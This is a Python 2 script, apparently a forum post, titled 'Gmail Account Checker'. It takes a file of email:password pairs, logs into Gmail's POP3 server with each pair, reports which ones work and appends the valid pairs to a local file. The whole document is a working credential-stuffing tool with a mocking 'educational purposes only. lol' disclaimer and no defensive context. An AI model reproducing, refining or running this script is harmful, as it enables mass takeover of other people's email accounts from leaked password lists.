Код:
#!/usr/bin/env python # Gmail Account Checker # 10n1z3d[at]w[dot]cn # This software is for educational purposes only. lol import sys, poplib def printHelp(): print '\nUsage: ./gmailcheck.py <emaillist>' print 'Example: ./gmailcheck.py emails.txt' print '\nNote: The accounts must be in the following format: user@gmail.com:password\n' print ''' \t _____ _ _ \t| __|_____ ___|_| | \t| | | | .'| | | \t|_____|_|_|_|__,|_|_| \t Account Checker \t 10n1z3d[at]w[dot]cn ''' if len(sys.argv) != 2: printHelp() exit(1) #Change these if needed. SAVEFILE = 'valid_accounts.txt' HOST = 'pop.gmail.com' PORT = 995 # Do not change anything below. maillist = sys.argv[1] valid = [] currline = 0 try: handle = open(maillist) except: print '\n[-] Could not open the accounts file. Check the file path and try again.' print '\n[-] Quitting ...' exit(1) for line in handle: currline += 1 try: email = line.split(':')[0] password = line.split(':')[1].replace('\n', '') except: print '\n[-] Erroneous account format at line %d.' % currline print '[!] Accounts must be in the following format: user@gmail.com:password' print '\n[-] Quitting ...' exit(1) try: pop = poplib.POP3_SSL(HOST, PORT) pop.user(email) pop.pass_(password) valid.append(email + ':' + password) print '[+] Checking: %s <%s> -> Valid!' % (email, password) pop.quit() except: print '[+] Checking: %s <%s> -> Invalid!' % (email, password) pass handle.close() print '\n[+] Total Valid: %s' % len(valid) if len(valid) > 0: save = open(SAVEFILE, 'a') for email in valid: save.write(email + '\n') save.close() print '[+] The valid accounts are saved in "%s".' % SAVEFILE print '\n[+] Done.\n'